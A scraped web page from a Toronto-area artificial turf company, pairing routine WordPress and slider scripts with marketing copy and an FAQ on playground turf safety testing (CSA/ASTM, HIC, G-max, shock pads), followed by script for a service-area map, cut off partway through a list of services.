var breeze_prefetch = {"local_url":"https://www.designturf.ca","ignore_remote_prefetch":"1","ignore_list":["wp-admin","wp-login.php"]};
//# sourceURL=breeze-prefetch-js-extra
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/infinitescroll/infinite-scroll.pkgd.min.js
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/dompurify/purify.min.js
window.RLG = window.RLG || {}; window.RLG.sanitizeAllowedHosts = ["youtube.com","www.youtube.com","youtu.be","vimeo.com","player.vimeo.com"];
//# sourceURL=responsive-lightbox-sanitizer-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_cff8034e8b54db04305eb25af61fbf22.js
var rlArgs = {"script":"prettyphoto","selector":"lightbox","customEvents":"ajaxComplete","activeGalleries":true,"animationSpeed":"normal","slideshow":false,"slideshowDelay":5000,"slideshowAutoplay":false,"opacity":"0.75","showTitle":true,"allowResize":true,"allowExpand":true,"width":1080,"height":720,"separator":"\/","theme":"pp_default","horizontalPadding":20,"hideFlash":false,"wmode":"opaque","videoAutoplay":false,"modal":true,"deeplinking":true,"overlayGallery":true,"keyboardShortcuts":true,"social":false,"woocommerce_gallery":false,"ajaxurl":"https:\/\/www.designturf.ca\/wp-admin\/admin-ajax.php","nonce":"9b69e64184","preview":false,"postId":9308,"scriptExtension":false};
//# sourceURL=responsive-lightbox-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_faa3be4a3f60fdca4a3a2fe70597adf9.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_7a48c52c849d19588b172c03df75b236.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_e9cc3cb85f6b3d4e39ed8fea92d6eab7.js
var ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
window._tpt ??= {};
window.SR7 ??= {};
_tpt.R ??= {};
_tpt.R.fonts ??= {};
_tpt.R.fonts.customFonts??= {};
SR7.devMode = false;
SR7.F ??= {};
SR7.G ??= {};
SR7.LIB ??= {};
SR7.E ??= {};
SR7.E.gAddons ??= {};
SR7.E.php ??= {};
SR7.E.nonce = '88f8757fa6';
SR7.E.ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
SR7.E.resturl = 'https://www.designturf.ca/wp-json/';
SR7.E.slug_path = 'revslider/revslider.php';
SR7.E.slug = 'revslider';
SR7.E.plugin_url = 'https://www.designturf.ca/wp-content/plugins/revslider/';
SR7.E.wp_plugin_url = 'https://www.designturf.ca/wp-content/plugins/';
SR7.E.revision = '6.7.58';
SR7.E.fontBaseUrl = '//fonts.googleapis.com/css2?family=';
SR7.G.breakPoints = [1240,1024,778,480];
SR7.G.fSUVW = false;
SR7.E.modules = ['module','page','slide','layer','draw','animate','srtools','canvas','defaults','carousel','navigation','media','modifiers','migration'];
SR7.E.libs = ['WEBGL'];
SR7.E.css = ['csslp','cssbtns','cssfilters','cssnav','cssmedia'];
SR7.E.resources = {};
SR7.E.ytnc = false;
SR7.JSON ??= {};
/*! Slider Revolution 7.0 - Page Processor */
!function(){"use strict";window.SR7??={},window._tpt??={},SR7.version="Slider Revolution 6.7.40",_tpt.getMobileZoom=()=>_tpt.is_mobile?document.documentElement.clientWidth/window.innerWidth:1,_tpt.getWinDim=function(t){_tpt.screenHeightWithUrlBar??=window.innerHeight;let e=SR7.F?.modal?.visible&&SR7.M[SR7.F.module.getIdByAlias(SR7.F.modal.requested)];_tpt.scrollBar=window.innerWidth!==document.documentElement.clientWidth||e&&window.innerWidth!==e.c.module.clientWidth,_tpt.winW=_tpt.getMobileZoom()*window.innerWidth-(_tpt.scrollBar||"prepare"==t?_tpt.scrollBarW??_tpt.mesureScrollBar():0),_tpt.winH=_tpt.getMobileZoom()*window.innerHeight,_tpt.winWAll=document.documentElement.clientWidth},_tpt.getResponsiveLevel=function(t,e){return SR7.G.fSUVW?_tpt.closestGE(t,window.innerWidth):_tpt.closestGE(t,_tpt.winWAll)},_tpt.mesureScrollBar=function(){let t=document.createElement("div");return t.className="RSscrollbar-measure",t.style.width="100px",t.style.height="100px",t.style.overflow="scroll",t.style.position="absolute",t.style.top="-9999px",document.body.appendChild(t),_tpt.scrollBarW=t.offsetWidth-t.clientWidth,document.body.removeChild(t),_tpt.scrollBarW},_tpt.loadCSS=async function(t,e,s){return s?_tpt.R.fonts.required[e].status=1:(_tpt.R[e]??={},_tpt.R[e].status=1),new Promise((i,n)=>{if(_tpt.isStylesheetLoaded(t))s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i();else{const o=document.createElement("link");o.rel="stylesheet";let l="text",r="css";o["type"]=l+"/"+r,o.href=t,o.onload=()=>{s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i()},o.onerror=()=>{s?_tpt.R.fonts.required[e].status=3:_tpt.R[e].status=3,n(new Error(`Failed to load CSS: ${t}`))},document.head.appendChild(o)}})},_tpt.addContainer=function(t){const{tag:e="div",id:s,class:i,datas:n,textContent:o,iHTML:l}=t,r=document.createElement(e);if(s&&""!==s&&(r.id=s),i&&""!==i&&(r.className=i),n)for(const[t,e]of Object.entries(n))"style"==t?r.style.cssText=e:r.setAttribute(`data-${t}`,e);return o&&(r.textContent=o),l&&(r.innerHTML=l),r},_tpt.collector=function(){return{fragment:new DocumentFragment,add(t){var e=_tpt.addContainer(t);return this.fragment.appendChild(e),e},append(t){t.appendChild(this.fragment)}}},_tpt.isStylesheetLoaded=function(t){let e=t.split("?")[0];return Array.from(document.querySelectorAll('link[rel="stylesheet"], link[rel="preload"]')).some(t=>t.href.split("?")[0]===e)},_tpt.preloader={requests:new Map,preloaderTemplates:new Map,show:function(t,e){if(!e||!t)return;const{type:s,color:i}=e;if(s<0||"off"==s)return;const n=`preloader_${s}`;let o=this.preloaderTemplates.get(n);o||(o=this.build(s,i),this.preloaderTemplates.set(n,o)),this.requests.has(t)||this.requests.set(t,{count:0});const l=this.requests.get(t);clearTimeout(l.timer),l.count++,1===l.count&&(l.timer=setTimeout(()=>{l.preloaderClone=o.cloneNode(!0),l.anim&&l.anim.kill(),void 0!==_tpt.gsap?l.anim=_tpt.gsap.fromTo(l.preloaderClone,1,{opacity:0},{opacity:1}):l.preloaderClone.classList.add("sr7-fade-in"),t.appendChild(l.preloaderClone)},150))},hide:function(t){if(!this.requests.has(t))return;const e=this.requests.get(t);e.count--,e.count<0&&(e.count=0),e.anim&&e.anim.kill(),0===e.count&&(clearTimeout(e.timer),e.preloaderClone&&(e.preloaderClone.classList.remove("sr7-fade-in"),e.anim=_tpt.gsap.to(e.preloaderClone,.3,{opacity:0,onComplete:function(){e.preloaderClone.remove()}})))},state:function(t){if(!this.requests.has(t))return!1;return this.requests.get(t).count>0},build:(t,e="#ffffff",s="")=>{if(t<0||"off"===t)return null;const i=parseInt(t);if(t="prlt"+i,isNaN(i))return null;if(_tpt.loadCSS(SR7.E.plugin_url+"public/css/preloaders/t"+i+".css","preloader_"+t),isNaN(i)||i<6){const n=`background-color:${e}`,o=1===i||2==i?n:"",l=3===i||4==i?n:"",r=_tpt.collector();["dot1","dot2","bounce1","bounce2","bounce3"].forEach(t=>r.add({tag:"div",class:t,datas:{style:l}}));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`,datas:{style:o}});return r.append(d),d}{let n={};if(7===i){let t;e.startsWith("#")?(t=e.replace("#",""),t=`rgba(${parseInt(t.substring(0,2),16)}, ${parseInt(t.substring(2,4),16)}, ${parseInt(t.substring(4,6),16)}, `):e.startsWith("rgb")&&(t=e.slice(e.indexOf("(")+1,e.lastIndexOf(")")).split(",").map(t=>t.trim()),t=`rgba(${t[0]}, ${t[1]}, ${t[2]}, `),t&&(n.style=`border-top-color: ${t}0.65); border-bottom-color: ${t}0.15); border-left-color: ${t}0.65); border-right-color: ${t}0.15)`)}else 12===i&&(n.style=`background:${e}`);const o=[10,0,4,2,5,9,0,4,4,2][i-6],l=_tpt.collector(),r=l.add({tag:"div",class:"sr7-prl-inner",datas:n});Array.from({length:o}).forEach(()=>r.appendChild(l.add({tag:"span",datas:{style:`background:${e}`}})));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`});return l.append(d),d}}},SR7.preLoader={show:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.show(e||SR7.M[t].c.module,SR7.M[t]?.settings?.pLoader??{color:"#fff",type:10})},hide:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.hide(e||SR7.M[t].c.module)},state:(t,e)=>_tpt.preloader.state(e||SR7.M[t].c.module)},_tpt.prepareModuleHeight=function(t){window.SR7.M??={},window.SR7.M[t.id]??={},"ignore"==t.googleFont&&(SR7.E.ignoreGoogleFont=!0);let e=window.SR7.M[t.id];if(null==_tpt.scrollBarW&&_tpt.mesureScrollBar(),e.c??={},e.states??={},e.settings??={},e.settings.size??={},t.fixed&&(e.settings.fixed=!0),e.c.module=document.querySelector("sr7-module#"+t.id),e.c.adjuster=e.c.module.getElementsByTagName("sr7-adjuster")[0],e.c.content=e.c.module.getElementsByTagName("sr7-content")[0],"carousel"==t.type&&(e.c.carousel=e.c.content.getElementsByTagName("sr7-carousel")[0]),null==e.c.module||null==e.c.module)return;t.plType&&t.plColor&&(e.settings.pLoader={type:t.plType,color:t.plColor}),void 0===t.plType||"off"===t.plType||SR7.preLoader.state(t.id)&&SR7.preLoader.state(t.id,e.c.module)||SR7.preLoader.show(t.id,e.c.module),_tpt.winW||_tpt.getWinDim("prepare"),_tpt.getWinDim();let s=""+e.c.module.dataset?.modal;"modal"==s||"true"==s||"undefined"!==s&&"false"!==s||(e.settings.size.fullWidth=t.size.fullWidth,e.LEV??=_tpt.getResponsiveLevel(window.SR7.G.breakPoints,t.id),t.vpt=_tpt.fillArray(t.vpt,5),e.settings.vPort=t.vpt[e.LEV],void 0!==t.el&&"720"==t.el[4]&&t.gh[4]!==t.el[4]&&"960"==t.el[3]&&t.gh[3]!==t.el[3]&&"768"==t.el[2]&&t.gh[2]!==t.el[2]&&delete t.el,e.settings.size.height=null==t.el||null==t.el[e.LEV]||0==t.el[e.LEV]||"auto"==t.el[e.LEV]?_tpt.fillArray(t.gh,5,-1):_tpt.fillArray(t.el,5,-1),e.settings.size.width=_tpt.fillArray(t.gw,5,-1),e.settings.size.minHeight=_tpt.fillArray(t.mh??[0],5,-1),e.cacheSize={fullWidth:e.settings.size?.fullWidth,fullHeight:e.settings.size?.fullHeight},void 0!==t.off&&(t.off?.t&&(e.settings.size.m??={})&&(e.settings.size.m.t=t.off.t),t.off?.b&&(e.settings.size.m??={})&&(e.settings.size.m.b=t.off.b),t.off?.l&&(e.settings.size.p??={})&&(e.settings.size.p.l=t.off.l),t.off?.r&&(e.settings.size.p??={})&&(e.settings.size.p.r=t.off.r),e.offsetPrepared=!0),_tpt.updatePMHeight(t.id,t,!0))},_tpt.updatePMHeight=(t,e,s)=>{let i=SR7.M[t];var n=i.settings.size.fullWidth?_tpt.winW:i.c.module.parentNode.offsetWidth;n=0===n||isNaN(n)?_tpt.winW:n;let o=i.settings.size.width[i.LEV]||i.settings.size.width[i.LEV++]||i.settings.size.width[i.LEV--]||n,l=i.settings.size.height[i.LEV]||i.settings.size.height[i.LEV++]||i.settings.size.height[i.LEV--]||0,r=i.settings.size.minHeight[i.LEV]||i.settings.size.minHeight[i.LEV++]||i.settings.size.minHeight[i.LEV--]||0;if(l="auto"==l?0:l,l=parseInt(l),"carousel"!==e.type&&(n-=parseInt(e.onw??0)||0),i.MP=!i.settings.size.fullWidth&&n<o||_tpt.winW<o?Math.min(1,n/o):1,e.size.fullScreen||e.size.fullHeight){let t=parseInt(e.fho)||0,s=(""+e.fho).indexOf("%")>-1;e.newh=_tpt.winH-(s?_tpt.winH*t/100:t)}else e.newh=i.MP*Math.max(l,r);if(e.newh+=(parseInt(e.onh??0)||0)+(parseInt(e.carousel?.pt)||0)+(parseInt(e.carousel?.pb)||0),void 0!==e.slideduration&&(e.newh=Math.max(e.newh,parseInt(e.slideduration)/3)),e.shdw&&_tpt.buildShadow(e.id,e),i.c.adjuster.style.height=e.newh+"px",i.c.module.style.height=e.newh+"px",i.c.content.style.height=e.newh+"px",i.states.heightPrepared=!0,i.dims??={},i.dims.moduleRect=i.c.module.getBoundingClientRect(),i.c.content.style.left="-"+i.dims.moduleRect.left+"px",!i.settings.size.fullWidth)return s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)}),void _tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0);_tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0),requestAnimationFrame(function(){s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)})}),i.earlyResizerFunction||(i.earlyResizerFunction=function(){requestAnimationFrame(function(){_tpt.getWinDim(),_tpt.moduleDefaults(e.id,e),_tpt.updateSlideBg(t,!0)})},window.addEventListener("resize",i.earlyResizerFunction))},_tpt.buildShadow=function(t,e){let s=SR7.M[t];null==s.c.shadow&&(s.c.shadow=document.createElement("sr7-module-shadow"),s.c.shadow.classList.add("sr7-shdw-"+e.shdw),s.c.content.appendChild(s.c.shadow))},_tpt.bgStyle=async(t,e,s,i,n)=>{const o=SR7.M[t];if((e=e??o.settings).fixed&&!o.c.module.classList.contains("sr7-top-fixed")&&(o.c.module.classList.add("sr7-top-fixed"),o.c.module.style.position="fixed",o.c.module.style.width="100%",o.c.module.style.top="0px",o.c.module.style.left="0px",o.c.module.style.pointerEvents="none",o.c.module.style.zIndex=5e3,o.c.content.style.pointerEvents="none"),null==o.c.bgcanvas){let t=document.createElement("sr7-module-bg"),l=!1;if("string"==typeof e?.bg?.color&&e?.bg?.color.includes("{"))if(_tpt.gradient&&_tpt.gsap)e.bg.color=_tpt.gradient.convert(e.bg.color);else try{let t=JSON.parse(e.bg.color);(t?.orig||t?.string)&&(e.bg.color=JSON.parse(e.bg.color))}catch(t){return}let r="string"==typeof e?.bg?.color?e?.bg?.color||"transparent":e?.bg?.color?.string??e?.bg?.color?.orig??e?.bg?.color?.color??"transparent";if(t.style["background"+(String(r).includes("grad")?"":"Color")]=r,("transparent"!==r||n)&&(l=!0),o.offsetPrepared&&(t.style.visibility="hidden"),e?.bg?.image?.src&&(t.style.backgroundImage=`url(${e?.bg?.image.src})`,t.style.backgroundSize=""==(e.bg.image?.size??"")?"cover":e.bg.image.size,t.style.backgroundPosition=e.bg.image.position,t.style.backgroundRepeat=""==e.bg.image.repeat||null==e.bg.image.repeat?"no-repeat":e.bg.image.repeat,l=!0),!l)return;o.c.bgcanvas=t,e.size.fullWidth?t.style.width=_tpt.winW-(s&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":i&&(t.style.width=o.c.module.offsetWidth+"px"),e.sbt?.use?o.c.content.appendChild(o.c.bgcanvas):o.c.module.appendChild(o.c.bgcanvas)}o.c.bgcanvas.style.height=void 0!==e.newh?e.newh+"px":("carousel"==e.type?o.dims.module.h:o.dims.content.h)+"px",o.c.bgcanvas.style.left=!s&&e.sbt?.use||o.c.bgcanvas.closest("SR7-CONTENT")?"0px":"-"+(o?.dims?.moduleRect?.left??0)+"px"},_tpt.updateSlideBg=function(t,e){const s=SR7.M[t];let i=s.settings;s?.c?.bgcanvas&&(i.size.fullWidth?s.c.bgcanvas.style.width=_tpt.winW-(e&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":preparing&&(s.c.bgcanvas.style.width=s.c.module.offsetWidth+"px"))},_tpt.moduleDefaults=(t,e)=>{let s=SR7.M[t];null!=s&&null!=s.c&&null!=s.c.module&&(s.dims??={},s.dims.moduleRect=s.c.module.getBoundingClientRect(),s.c.content.style.left="-"+s.dims.moduleRect.left+"px",s.c.content.style.width=_tpt.winW-_tpt.scrollBarW+"px","carousel"==e.type&&(s.c.module.style.overflow="visible"),_tpt.bgStyle(t,e,window.innerWidth==_tpt.winW))},_tpt.getOffset=t=>{var e=t.getBoundingClientRect(),s=window.pageXOffset||document.documentElement.scrollLeft,i=window.pageYOffset||document.documentElement.scrollTop;return{top:e.top+i,left:e.left+s}},_tpt.fillArray=function(t,e){let s,i;t=Array.isArray(t)?t:[t];let n=Array(e),o=t.length;for(i=0;i<t.length;i++)n[i+(e-o)]=t[i],null==s&&"#"!==t[i]&&(s=t[i]);for(let t=0;t<e;t++)void 0!==n[t]&&"#"!=n[t]||(n[t]=s),s=n[t];return n},_tpt.closestGE=function(t,e){let s=Number.MAX_VALUE,i=-1;for(let n=0;n<t.length;n++)t[n]-1>=e&&t[n]-1-e<s&&(s=t[n]-1-e,i=n);return++i}}();
Playground Turf Safety Standards Learn how certified playground turf systems are tested for safety, meet CSA and ASTM standards,
and protect children from fall-related injuries.
How Playground Turf Is Tested Testing is performed using a weighted hemispherical headform dropped from increasing heights onto the turf system.
Drop height increases until HIC approaches 1000. The highest safe height becomes the critical fall height . Testing is done on the full system: base, shock pad, and turf.
Why Safety Pads Matter Safety pads—not infill—provide fall protection. Your system uses engineered pads that:
Absorb impact and reduce injury risk Maintain performance for 10–15+ years Perform in all weather conditions Are tested for multiple fall heights (4 ft, 6 ft, 8 ft, 10 ft+)
Impact Testing Diagram
This diagram shows the drop test device, impact sensor, and how HIC values are recorded at different heights.
Playground Turf Safety FAQs What safety standards apply to playground turf? Playground turf must meet CSA and ASTM safety standards, including fall-height protection,
impact attenuation, and proper installation over certified shock-pad systems.
What is fall-height protection? Fall-height protection ensures the turf system can safely absorb impact from a specified height,
reducing the risk of head injuries. Certified shock-pads are used to meet these requirements.
How is playground turf tested for safety? Turf systems are tested using impact attenuation equipment that measures G-max and HIC values
to confirm compliance with CSA and ASTM safety thresholds.
Does playground turf reduce injury risk? When installed over certified padding, playground turf significantly reduces injury risk by
providing a cushioned, stable, and non-abrasive surface for children.
Is playground turf safe in all weather conditions? Playground turf remains safe year-round, offering consistent impact absorption through heat,
rain, and freeze–thaw cycles. Proper drainage ensures the surface stays dry and slip-resistant.
Do schools and daycares require certified turf systems? Schools, daycares, and public playgrounds must use turf systems that meet CSA and ASTM safety
standards to ensure compliance and reduce liability.
What are G-max and HIC values? G-max and HIC are impact testing measurements used to determine how well a playground surface
absorbs shock. Lower values indicate safer impact performance and reduced risk of head injury.
Do all playground turf systems require a shock pad? To meet CSA and ASTM fall-height standards, playground turf must be installed over a certified
shock pad designed to absorb impact and maintain compliance over time.
How often should playground turf be impact tested? Impact testing is recommended every 1–3 years, especially for high-traffic playgrounds, to
ensure the turf system continues to meet CSA and ASTM safety thresholds.
Are playground turf systems ADA compliant? When installed correctly, playground turf provides a smooth, stable, and accessible surface
that meets ADA mobility requirements for wheelchairs and strollers.
Can playground turf lose compliance over time? Heavy use, infill displacement, or base movement can reduce impact performance. Regular
maintenance and periodic testing ensure the system remains compliant with CSA and ASTM
standards.
document.addEventListener("DOMContentLoaded", function() {
const toggles = document.querySelectorAll(".faq-item .toggle");
toggles.forEach(function(toggle) {
toggle.addEventListener("click", function() {
const content = this.nextElementSibling;
content.style.display = (content.style.display === "block") ? "none" : "block";
});
});
});
document.addEventListener("DOMContentLoaded", function() {
const items = document.querySelectorAll(".faq-item");
items.forEach(item => {
const toggle = item.querySelector(".toggle");
toggle.addEventListener("click", () => {
const content = item.querySelector(".toggle-content");
// Close other open FAQs
items.forEach(i => {
if (i !== item) {
i.classList.remove("open");
i.querySelector(".toggle-content").style.display = "none";
}
});
// Toggle current FAQ
const isOpen = item.classList.contains("open");
item.classList.toggle("open", !isOpen);
content.style.display = isOpen ? "none" : "block";
});
});
});
(function(){
'use strict';
/* ═══════════════════════════════════════════
CONFIGURATION — UPDATE THESE VALUES
═══════════════════════════════════════════ */
// Design Turf HQ coordinates (update to exact address)
var HQ_LAT = 43.6532;
var HQ_LNG = -79.3832;
// Service area pins (red markers) — add/remove as needed
var SERVICE_AREAS = [
{ name: 'Mississauga', lat: 43.5890, lng: -79.6441 },
{ name: 'Brampton', lat: 43.7315, lng: -79.7624 },
{ name: 'Vaughan', lat: 43.8361, lng: -79.4983 },
{ name: 'Markham', lat: 43.8561, lng: -79.3370 },
{ name: 'Oakville', lat: 43.4675, lng: -79.6877 },
{ name: 'Richmond Hill', lat: 43.8828, lng: -79.4403 },
{ name: 'Pickering', lat: 43.8354, lng: -79.0868 },
{ name: 'Ajax', lat: 43.8509, lng: -79.0204 },
{ name: 'Newmarket', lat: 44.0592, lng: -79.4613 },
{ name: 'Milton', lat: 43.5183, lng: -79.8774 },
{ name: 'Burlington', lat: 43.3255, lng: -79.7990 },
{ name: 'Stouffville', lat: 43.9701, lng: -79.2453 },
{ name: 'Oshawa', lat: 43.8971, lng: -78.8658 },
{ name: 'Uxbridge', lat: 44.11396, lng: -79.11049 }
];
// WP REST API — Services category ID
// ► OPTION A: By category (requires categories enabled on pages)
var SERVICES_CATEGORY_ID = 0; // ← Replace with your actual category ID
// ► OPTION B: By parent page ID (uncomment below, comment out Option A)
// var SERVICES_PARENT_ID = 0; // ← Replace with your Services parent page ID
/* ═══════════════════════════════════════════
PIN FACTORY — Inline SVG markers
═══════════════════════════════════════════ */
function makePin(fillColor, label) {
var svg = '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="46" viewBox="0 0 32 46">' +
'<defs><filter id="ds' + fillColor.replace('#','') + '" x="-20%" y="-10%" width="140%" height="130%">' +
'<feDropShadow dx="0" dy="2" stdDeviation="2" flood-color="rgba(0,0,0,0.3)"/></filter></defs>' +
'<path d="M16 1C7.7 1 1 7.7 1 16c0 11.3 15 29 15 29s15-17.7 15-29C31 7.7 24.3 1 16 1z" ' +
'fill="' + fillColor + '" stroke="#ffffff" stroke-width="2" filter="url(%23ds' + fillColor.replace('#','') + ')"/>' +
'<circle cx="16" cy="15" r="6.5" fill="#ffffff" opacity="0.92"/>' +
'</svg>';
return L.divIcon({
className: '',
html: svg,
iconSize: [32, 46],
iconAnchor: [16, 46],
popupAnchor:[0, -42]
});
}
var greenPin = makePin('#00A651', 'HQ');
var redPin = makePin('#E53935', 'Area');
/* ═══════════════════════════════════════════
MAP INITIALIZATION
═══════════════════════════════════════════ */
var map = L.map('dt-leaflet-map', {
center: [HQ_LAT, HQ_LNG],
zoom: 10,
scrollWheelZoom: false,
zoomControl: true,
attributionControl: true
});
// CartoDB Voyager tiles — clean, premium aesthetic
L.tileLayer('https://{s}.basemaps.cartocdn.com/rastertiles/voyager/{z}/{x}/{y}{r}.png', {
attribution: '© <a href="https://openstreetmap.org">OpenStreetMap</a> © <a href="https://carto.com/">CARTO</a>',
subdomains: 'abcd',
maxZoom: 19
}).addTo(map);
// ── HQ Marker (GREEN) ──
L.marker([HQ_LAT, HQ_LNG], { icon: greenPin })
.addTo(map)
.bindPopup(
'<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;min-width:160px;">' +
'<div style="font-size:16px;font-weight:800;color:#00A651;margin-bottom:3px;">Design Turf</div>' +
'<div style="font-size:13px;color:#555;margin-bottom:6px;">Headquarters · Toronto, ON</div>' +
'<a href="/contact/" style="display:inline-block;padding:5px 16px;background:#00A651;color:#fff;text-decoration:none;font-size:12px;font-weight:700;border-radius:4px;">Get a Quote</a>' +
'</div>'
);
// ── Service Area Markers (RED) ──
var bounds = L.latLngBounds([[HQ_LAT, HQ_LNG]]);
SERVICE_AREAS.forEach(function(area) {
L.marker([area.lat, area.lng], { icon: redPin })
.addTo(map)
.bindPopup(
'<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;">' +
'<div style="font-size:15px;font-weight:700;color:#E53935;margin-bottom:2px;">' + area.name + '</div>' +
'<div style="font-size:12px;color:#666;">We service this area</div>' +
'</div>'
);
bounds.extend([area.lat, area.lng]);
});
map.fitBounds(bounds, { padding: [40, 40] });
/* ═══════════════════════════════════════════
SERVICE AREA SHADING — Convex Hull + Buffer
Renders behind markers automatically
═══════════════════════════════════════════ */
// Collect all points (HQ + service areas)
var allPoints = [[HQ_LAT, HQ_LNG]];
SERVICE_AREAS.forEach(function(a) { allPoints.push([a.lat, a.lng]); });
// ── Convex Hull (Gift Wrapping / Jarvis March) ──
function cross(O, A, B) {
return (A[1] - O[1]) * (B[0] - O[0]) - (A[0] - O[0]) * (B[1] - O[1]);
}
function convexHull(points) {
var pts = points.slice().sort(function(a, b) {
return a[0] === b[0] ? a[1] - b[1] : a[0] - b[0];
});
if (pts.length <= 1) return pts;
var lower = [];
for (var i = 0; i < pts.length; i++) {
while (lower.length >= 2 && cross(lower[lower.length - 2], lower[lower.length - 1], pts[i]) <= 0)
lower.pop();
lower.push(pts[i]);
}
var upper = [];
for (var j = pts.length - 1; j >= 0; j--) {
while (upper.length >= 2 && cross(upper[upper.length - 2], upper[upper.length - 1], pts[j]) <= 0)
upper.pop();
upper.push(pts[j]);
}
upper.pop();
lower.pop();
return lower.concat(upper);
}
// ── Buffer Expansion ──
// Pushes each hull vertex outward from centroid by a factor
function expandHull(hull, factor) {
var centLat = 0, centLng = 0;
hull.forEach(function(p) { centLat += p[0]; centLng += p[1]; });
centLat /= hull.length;
centLng /= hull.length;
return hull.map(function(p) {
var dLat = p[0] - centLat;
var dLng = p[1] - centLng;
return [centLat + dLat * factor, centLng + dLng * factor];
});
}
var hull = convexHull(allPoints);
// ── Create custom map panes for layer ordering ──
map.createPane('outerGlow');
map.getPane('outerGlow').style.zIndex = 350;
map.createPane('innerFill');
map.getPane('innerFill').style.zIndex = 360;
// ── LAYER 1: Outer glow ring (wider, very faint) ──
var outerHull = expandHull(hull, 1.35);
L.polygon(outerHull, {
color: '#00A651',
weight: 0,
fillColor: '#00A651',
fillOpacity: 0.04,
smoothFactor: 1.5,
pane: 'outerGlow',
interactive: false
}).addTo(map);
// ── LAYER 2: Inner coverage zone (light green fill) ──
var innerHull = expandHull(hull, 1.15);
L.polygon(innerHull, {
color: '#00A651',
weight: 2,
opacity: 0.3,
dashArray: '8 6',
fillColor: '#00C853',
fillOpacity: 0.08,
smoothFactor: 1.5,
pane: 'innerFill',
interactive: false
}).addTo(map);
// ── LAYER 3: Subtle center radial (warm core near HQ) ──
L.circle([HQ_LAT, HQ_LNG], {
radius: 12000,
color: 'transparent',
fillColor: '#00A651',
fillOpacity: 0.06,
pane: 'innerFill',
interactive: false
}).addTo(map);
/* ═══════════════════════════════════════════
MAP TEXT LABEL — "Our Service Area"
Positioned over Lake Ontario (dead zone)
═══════════════════════════════════════════ */
var labelPane = map.createPane('mapLabel');
labelPane.style.zIndex = 450;
labelPane.style.pointerEvents = 'none';
L.marker([43.30, -79.18], {
pane: 'mapLabel',
interactive: false,
keyboard: false,
icon: L.divIcon({
className: '',
iconSize: [340, 80],
iconAnchor: [170, 40],
html:
'<div style="' +
'font-family:Segoe UI,system-ui,-apple-system,sans-serif;' +
'font-size:28px;' +
'font-weight:800;' +
'color:rgba(0,166,81,0.35);' +
'text-transform:uppercase;' +
'letter-spacing:6px;' +
'text-align:center;' +
'white-space:nowrap;' +
'line-height:1;' +
'pointer-events:none;' +
'user-select:none;' +
'-webkit-user-select:none;' +
'text-shadow:0 1px 3px rgba(255,255,255,0.6);' +
'">Our Service Area</div>'
})
}).addTo(map);
// Enable scroll zoom after first click (UX-friendly)
map.once('click', function() { map.scrollWheelZoom.enable(); });
/* ═══════════════════════════════════════════
DYNAMIC SERVICE LIST — WP REST API
═══════════════════════════════════════════ */
var apiUrl;
if (SERVICES_CATEGORY_ID > 0) {
apiUrl = '/wp-json/wp/v2/pages?categories=' + SERVICES_CATEGORY_ID +
'&per_page=30&orderby=menu_order&order=asc&status=publish&_fields=id,title,link,excerpt';
} else {
renderFallbackServices();
return;
}
var grid = document.getElementById('dt-services-grid');
fetch(apiUrl)
.then(function(response) {
if (!response.ok) throw new Error('API error: ' + response.status);
return response.json();
})
.then(function(pages) {
if (!pages || !pages.length) { renderFallbackServices(); return; }
grid.innerHTML = '';
pages.forEach(function(page) {
grid.appendChild(createServiceCard(page.title.rendered, page.link));
});
})
.catch(function(err) {
console.warn('Design Turf services fetch failed:', err);
renderFallbackServices();
});
/* ═══════════════════════════════════════════
SERVICE CARD BUILDER
═══════════════════════════════════════════ */
function createServiceCard(title, url) {
var card = document.createElement('a');
card.href = url || '#';
card.setAttribute('style',
'display:flex;align-items:center;gap:12px;' +
'padding:14px 18px;' +
'background:rgba(255,255,255,0.03);' +
'border:1px solid rgba(255,255,255,0.07);' +
'border-radius:8px;' +
'color:#ffffff;text-decoration:none;' +
'font-size:14px;font-weight:600;' +
'line-height:1.4;' +
'transition:all 0.25s ease;'
);
card.onmouseenter = function() {
this.style.background = 'rgba(0,166,81,0.1)';
this.style.borderColor = 'rgba(0,166,81,0.4)';
this.style.transform = 'translateY(-1px)';
};
card.onmouseleave = function() {
this.style.background = 'rgba(255,255,255,0.03)';
this.style.borderColor = 'rgba(255,255,255,0.07)';
this.style.transform = 'translateY(0)';
};
var chevron = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#00A651" ' +
'stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" style="flex-shrink:0;">' +
'<polyline points="9 18 15 12 9 6"/></svg>';
card.innerHTML = chevron + '<span>' + title + '</span>';
return card;
}
/* ═══════════════════════════════════════════
FALLBACK: Static service list
► UPDATE these to match your actual pages
═══════════════════════════════════════════ */
function renderFallbackServices() {
var services = [
{ title: 'Artificial Grass Installation', url: '/artificial-grass-installation/' },
{ title: 'Backyard Putting Greens', url: '/backyard-putting-greens/' },
{ title: 'Pet Turf Solutions', url: '/pet-turf/' },
